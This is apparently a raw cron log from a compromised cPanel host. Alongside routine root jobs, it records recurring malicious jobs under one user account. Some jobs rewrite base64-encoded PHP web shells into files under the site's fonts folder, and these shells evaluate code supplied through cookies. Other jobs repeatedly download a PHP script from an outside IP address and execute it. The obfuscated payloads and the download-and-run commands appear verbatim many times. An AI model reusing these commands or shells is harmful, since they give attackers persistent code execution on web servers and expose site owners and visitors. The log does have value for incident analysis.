Sep 21 23:37:02 ip-184-168-122-23 CROND[4979]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 23:37:02 ip-184-168-122-23 CROND[4980]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 23:38:01 ip-184-168-122-23 CROND[5150]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 23:38:01 ip-184-168-122-23 CROND[5153]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 23:38:01 ip-184-168-122-23 CROND[5155]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 23:38:01 ip-184-168-122-23 CROND[5156]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 23:38:01 ip-184-168-122-23 CROND[5157]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 23:39:01 ip-184-168-122-23 CROND[5270]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 23:39:01 ip-184-168-122-23 CROND[5272]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 23:39:01 ip-184-168-122-23 CROND[5271]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 23:39:01 ip-184-168-122-23 CROND[5273]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 23:39:01 ip-184-168-122-23 CROND[5274]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 21 23:40:01 ip-184-168-122-23 CROND[5389]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 23:40:01 ip-184-168-122-23 CROND[5390]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 23:40:01 ip-184-168-122-23 CROND[5393]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 23:40:01 ip-184-168-122-23 CROND[5398]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 23:40:01 ip-184-168-122-23 CROND[5396]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 23:40:01 ip-184-168-122-23 CROND[5397]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 23:40:01 ip-184-168-122-23 CROND[5399]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 23:40:01 ip-184-168-122-23 CROND[5403]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 23:41:01 ip-184-168-122-23 CROND[5507]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 23:41:01 ip-184-168-122-23 CROND[5508]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 23:41:01 ip-184-168-122-23 CROND[5512]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 23:41:01 ip-184-168-122-23 CROND[5514]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 23:42:01 ip-184-168-122-23 CROND[5637]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 23:42:01 ip-184-168-122-23 CROND[5638]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 23:42:01 ip-184-168-122-23 CROND[5639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 23:42:01 ip-184-168-122-23 CROND[5644]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 23:42:01 ip-184-168-122-23 CROND[5642]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 23:43:01 ip-184-168-122-23 CROND[5826]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 23:43:01 ip-184-168-122-23 CROND[5827]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 23:43:01 ip-184-168-122-23 CROND[5829]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 23:43:01 ip-184-168-122-23 CROND[5830]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 23:44:01 ip-184-168-122-23 CROND[5974]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 23:44:01 ip-184-168-122-23 CROND[5975]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 23:44:01 ip-184-168-122-23 CROND[5977]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 23:44:01 ip-184-168-122-23 CROND[5978]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 23:44:01 ip-184-168-122-23 CROND[5979]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 23:45:01 ip-184-168-122-23 CROND[6083]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 23:45:01 ip-184-168-122-23 CROND[6086]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 23:45:01 ip-184-168-122-23 CROND[6088]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 23:45:01 ip-184-168-122-23 CROND[6087]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 23:45:01 ip-184-168-122-23 CROND[6089]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 23:45:01 ip-184-168-122-23 CROND[6085]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 23:46:01 ip-184-168-122-23 CROND[6208]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 23:46:01 ip-184-168-122-23 CROND[6210]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 23:46:01 ip-184-168-122-23 CROND[6214]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 23:46:01 ip-184-168-122-23 CROND[6213]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 23:46:01 ip-184-168-122-23 CROND[6215]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 23:46:01 ip-184-168-122-23 CROND[6211]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 23:46:01 ip-184-168-122-23 CROND[6212]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 21 23:47:01 ip-184-168-122-23 CROND[6338]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 23:47:01 ip-184-168-122-23 CROND[6339]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 23:47:01 ip-184-168-122-23 CROND[6340]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 23:47:01 ip-184-168-122-23 CROND[6343]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 23:48:02 ip-184-168-122-23 CROND[6524]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 23:48:02 ip-184-168-122-23 CROND[6528]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 23:48:02 ip-184-168-122-23 CROND[6526]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 23:48:02 ip-184-168-122-23 CROND[6529]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 23:48:02 ip-184-168-122-23 CROND[6527]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 23:49:01 ip-184-168-122-23 CROND[6626]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 23:49:01 ip-184-168-122-23 CROND[6629]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
